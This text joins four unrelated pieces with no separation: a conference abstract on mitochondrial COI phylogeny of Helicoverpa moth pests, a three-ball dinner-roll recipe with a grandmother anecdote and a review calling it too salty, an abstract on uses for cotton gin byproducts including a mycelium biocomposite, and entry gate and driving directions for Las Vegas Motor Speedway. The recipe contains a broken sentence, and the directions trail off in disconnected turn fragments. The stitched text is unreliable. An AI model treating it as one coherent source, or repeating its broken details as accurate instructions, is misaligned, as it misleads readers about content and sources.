The use of mitochondrial DNA Cytochrome Oxidase I (mtDNA COI) gene in species identification has gained popularity in recent years, with its effectiveness in identifying cryptic and new species demonstrated in birds and Lepidoptera. The noctuid moths of the genus Helicoverpa include two of the most devastating agricultural pest species: H. armigera of the old world, and H. zea found exclusively in the north and south American continents. Both of these species are polyphagous targeting >150 crop species. Phylogenies of H. armigera and H. zea have to-date been constructed based on coding nuclear DNA sequences and morphological characters, but a mtDNA phylogeny of H. zea and H. armigera has been lacking. Differentiating H. zea and H. armigera based on morphological characters relies almost exclusively on characters of the male genitalia, although accurate identification has remained problematic due to over-lapping ranges in character measurements. H. zea and H. armigera are presently recognised as two separate species despite successful bi-directional, 'inter-specific', mating experiments that gave rise to viable offspring, and the trapping of H. zea males when using H. armigera sex pheromones in the North American continent. Using a 511 base pair sequence of a partial mtDNA COI gene, we analysed the phylogenetic relationships amongst 228 H. armigera individuals sampled from China, Australia, Africa, India and Pakistan, plus 14 H. zea from North America, H. punctigera from Australia and H. assulta from India, using Heliothis virescens as an outgroup. Our mtDNA COI phylogeny of Helicoverpa species indicates that H. punctigera is ancestral to H. assulta which is in turn ancestral to H. armigera and H. zea. Furthermore, the long branch-length of H. zea from the H. armigera clade suggests a recent bottleneck event in H. zea's separation from H. armigera. H. zea and H. armigera show an intermediate level of nucleotide diversity, lying between expected values for intra-specific and inter-specific sequence comparisons, possibly suggesting rapid nucleotide divergence in H. zea due to selection pressures imposed on movement by agricultural practices.
Conference or Conference Paper (Paper)
Abstract of oral presentation. List of the abstracts from the workshop are available in the Journal of Insect Science: Vol. 7 Article 29 ISSN: 1536-2442 (www.insectscience.org/7.29).
lepidoptera,Helicoverpa zea, Helicoverpa armigera, DNA barcoding
Q Science > QH Natural history > QH301 Biology
Faculty of Engineering & Science > Natural Resources Institute > Agriculture, Health & Environment Department


"My grandmother, in the Depression, had five children and not a lot of income. So she had to get up quite early in the morning and make loaves of bread and rolls to sell so that she could supplement the income and keep the family going. My mother would deliver them to the neighbors, still hot out of the oven, with a jar of jam. Now I make my living making bread."
Combine the hot water, white sugar, and yeast together in the mixing bowl of a large stand mixer; let sit until it forms a creamy layer on top, about 10 minutes.
Fit the mixer with a dough hook, and slowly beat in 3 cups of bread flour and the rolled oats until the flour is thoroughly worked in. Place the mixing bowl in a warm place, cover with a cloth, and let the batter rise until doubled and puffy, about 1 hour.
Place the mixing bowl back onto the stand mixer, and pour in the butter; start the mixer on low speed, and beat in the remaining 6 cups of bread flour. Sprinkle salt into the dough. Turn the mixer up to medium, and knead the dough until smooth and elastic, 5 to 8 minutes.
Preheat oven to 375 degrees F (190 degrees C). Grease 24 muffin cups.
Pinch off about 2 tablespoons of dough, and form into a ball about the size of a large cherry tomato. Place the dough ball into a greased muffin cup; make 2 more balls, and place them into the same cup (3 dough balls per cup). Repeat with remaining dough.
Bake the rolls in the preheated oven until the turn lightly golden brown, 38 minutes.
Waaayyy too salty! An awful lot of work to go through with these results.


Citation: Holt, G.A. 2016. Bioinspiration and Biomimicry: Possibilities for Cotton Byproducts. Meeting Abstract. Online: https://baumwollboerse.de/en/cotton-conference/lectures/..
Technical Abstract: The byproducts from cotton gins have commonly been referred to as cotton gin trash or cotton gin waste primarily because the lint and seed were the main focus of the operation and the byproducts were a financial liability that did not have a consistent market. Even though the byproducts were called "trash" or "waste" they are comprised of cotton plant materials such as lint, leaf, sticks and stems, and carpel. Over the past several years, there have been numerous research endeavors to find markets for or add value to the byproducts to enhance revenue to the processing facility and/or the producer. This presentation focuses on several products produced from cotton byproducts and discusses the pros and cons of their implementation. The presentation ends with a new bio-composite, which has been successfully implemented in industry utilizing fungus mycelium to integrate a plant fiber matrix to create a product for a variety of uses. The idea for the new biocomposite was born from observation of the natural world and encourages bioinspiration and/or biomimicry as a platform for utilizing natural fibers for future composites. Current and potential uses of the mycelium/natural fiber biocomposite will be discussed.


Las Vegas Motor Speedway is located five miles north of Las Vegas, off Interstate 15.
– Exit 54, three miles past the Las Vegas Blvd exit.
– Exit right, and follow the directions to your proper gate into the track.
All participants must have all vehicle stickers affixed to the lower left side of windshield and wrist bands on before they proceed through the gate areas. Wrist bands will be required for entry and re-entry.
All race participants will enter through Gate 13; gate opens at 6 a.m. You must show your credentials at the gate and proceed to the pit area.
Manufacturers Midway vendors' gate opens at 6 a.m., enter through Gate 13. You must show your credentials at the gate and then proceed to your space in the midway.
GATE INFO COMING SOON: All spectators will enter through Gate and park in the spectator parking lot. Then proceed to ticketing. All spectators with a three-day pass will be required to wear a wrist band for the entire weekend for admittance in and out of the event.
Enter thru Hollywood Gate. Gate will open at 7 a.m. for parking and Close at Noon. Judged Participants arrive at 7, Popular Choice Participants arrive at 8 and Fun Field arrive at 9. Please exit at the main gate. All Car Show participants will enter on the Loop Road that leads to the Hollywood Gate. The Hollywood Gate is the first gate that you will come to. Drive slowly as you pass the Petro Fuel Stop on the main road to LVMS. The Hollywood Gate will be on your left. This is an all paved road to the show area.
Show your credentials at the gate and proceed to the Car Show and Fun Field area for parking instructions and check-in. You must show your confirmation letter at the Car Show tent and receive any last minute judging information.
Swap meet vendors use Gate 12 or Hollywood Gate. Enter by following the Loop Road to the Hollywood Gate. These vendors will be allowed to enter starting at 6 a.m. for setup. All proper credentials must be affixed to the lower left side of the windshield and shown at the gate.
– Turn left on Washington Ave.
– Right on Main St.
– Left on Stewart Ave.